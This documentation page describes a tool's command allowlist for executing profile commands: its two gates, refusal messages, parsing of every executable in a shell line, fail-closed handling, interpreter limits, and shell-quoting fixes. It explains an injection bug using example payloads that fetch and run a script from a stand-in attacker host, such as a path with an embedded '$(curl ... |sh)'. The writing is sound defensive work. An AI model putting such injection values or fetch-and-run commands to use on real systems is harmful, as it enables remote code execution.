The command allowlist
How arbitrary execution is gated, why it fails closed, and where the limits are.
On this page
The command resource runs whatever the profile writes, on machines that
matter, with credentials that matter. This guide explains the two gates in front
of it, how to read a refusal, and the limitation that no parser fixes.
Two independent gates
The operator’s ceiling comes from --allowed-commands or the config file’s
allowed_commands. It is a strict allowlist, and an empty one permits nothing.
Silence has to mean deny for a resource that executes arbitrary commands.
The profile’s declaration comes from allowed_commands in the profile
block. It can only narrow the ceiling, never widen it. Empty means the profile
imposes no limit of its own and the operator’s list governs alone.
* is the explicit opt-out permitting everything. It has to be written down,
which is the point of a deny-by-default list.
The two gates are kept separate rather than pre-intersected, so a refusal can say which gate closed and therefore who has to change something:
command "systemctl status sshd" blocked: no commands are allowed because
allowed_commands is empty - add "systemctl" to allowed_commands, or "*" to
allow every command
command "curl https://x" blocked: executable "curl" is not in allowed_commands
(systemctl, getent)
command "getent group wheel" blocked: the profile does not declare executable
"getent" in its allowed_commands (systemctl) - add it to the profile blockA dependency’s declaration is merged into its parent’s as a union, empty only when neither side declares anything. One consequence is worth knowing: a dependency that declares nothing runs under its parent’s list, so one of its checks can be refused. The refusal names the program.
Every executable in the line
The command reaches a shell, so every construct that starts a new command is a
place a program runs. The extractor covers separators (;, &&, ||, |,
|&, &), command substitution with $(...) and backticks, subshells and
groups, and the argument of a wrapper such as timeout, xargs, env, nice,
nohup, sudo, or doas.
Reading only the first token meant cat /etc/hostname; curl http://x | sh was
gated as cat, and the allowlist was bypassable with a single semicolon.
The parser skips redirection targets, which are filenames, and VAR=value
assignments. It treats shell keywords such as if, for, do, and done as
reserved words rather than programs, since gating them would deny legitimate
lines for a word no operator can meaningfully declare.
It fails closed
An unterminated quote or substitution, or a heredoc whose body the parser does not model, returns an error and the command is refused. A line that cannot be fully accounted for must not be gated on a guess, because partial enforcement looks like enforcement.
The honest limitation
The parser cannot see through interpreters. awk 'BEGIN{system("...")}',
find -exec, perl -e, and friends run arbitrary code with no shell syntax at
all. Allowing any of those binaries allows anything.
That is a property of allowlisting by executable basename, not a gap a better
parser closes. Choose the entries in allowed_commands accordingly, and prefer
a typed resource over command wherever one exists.
Seeing what a profile needs
refpoint check my-baselinecheck reports every executable the profile’s command checks would run,
extracted exactly as enforcement extracts them, and flags any the profile uses
but never declared, since those can never run however permissive the operator
is. A line the parser cannot account for shows as <unparsable: ...> rather
than a half-truth.
Values interpolated into commands are shell-quoted
Providers build command lines and interpolate values that come from the profile:
resource addresses, variables, --var overrides, var files.
Go’s %q verb quotes for Go, not for the shell. It emits double quotes and
escapes only ", \, and non-printable runes, because nothing else matters in
a Go string literal. Inside shell double quotes, $ and backticks still expand,
so a path attribute of
/etc/ssh/sshd_config$(curl -s http://attacker/p.sh|sh)executed as the connecting user, or as root under --sudo.
Three measures replaced it. shell.Quote wraps a POSIX value in single
quotes, the only shell construct with no escapes at all, writing an embedded
quote as a close-escape-reopen sequence. shell.PSEscape doubles an embedded
quote for PowerShell values. And %q is banned in format strings that build
commands, enforced by an AST lint test that fails when a %q inside a
fmt.Sprintf flows into Exec or into a variable named cmd.
Two limits are worth stating rather than implying. The lint test catches the
common mistake, not every possible one. And an untrusted command is still
untrusted: quoting protects arguments, it does not make the command resource
safe. That is what the allowlist is for.